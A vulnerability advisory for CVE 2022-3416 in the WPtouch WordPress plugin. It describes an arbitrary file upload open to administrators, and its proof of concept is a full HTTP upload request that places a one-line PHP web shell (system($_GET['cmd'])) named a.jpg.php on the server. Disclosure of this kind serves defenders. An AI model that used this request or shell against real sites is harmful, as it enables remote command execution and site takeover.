WPtouch < 4.3.45 – Admin+ Arbitrary File Upload | CVE 2022-3416

Description

The plugin does not properly validate images to be uploaded, allowing high privilege users such as admin to upload arbitrary files on the server even when they should not be allowed to (for example in multisite setup)

Proof of Concept

Go the WPTouch > Settings > Menu Settings, enable the "Use Menu icons" option and upload a PHP file named a.jpg.php via the Custom Icons feature (at the bottom of the page)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------10582074854247733003495751577
Content-Length: 653
Cookie: [Admin+]

-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="action"

upload_file
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="file_type"

custom_image
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="wp_nonce"

648bdee02a
-----------------------------10582074854247733003495751577
Content-Disposition: form-data; name="myfile"; filename="a.jpg.php"
Content-Type: application/octet-stream

<?php echo "PHP Shell";system($_GET['cmd']); ?>
-----------------------------10582074854247733003495751577--


The file will be at https://example.com/wp-content/wptouch-data/1/icons/custom/a.jpg.php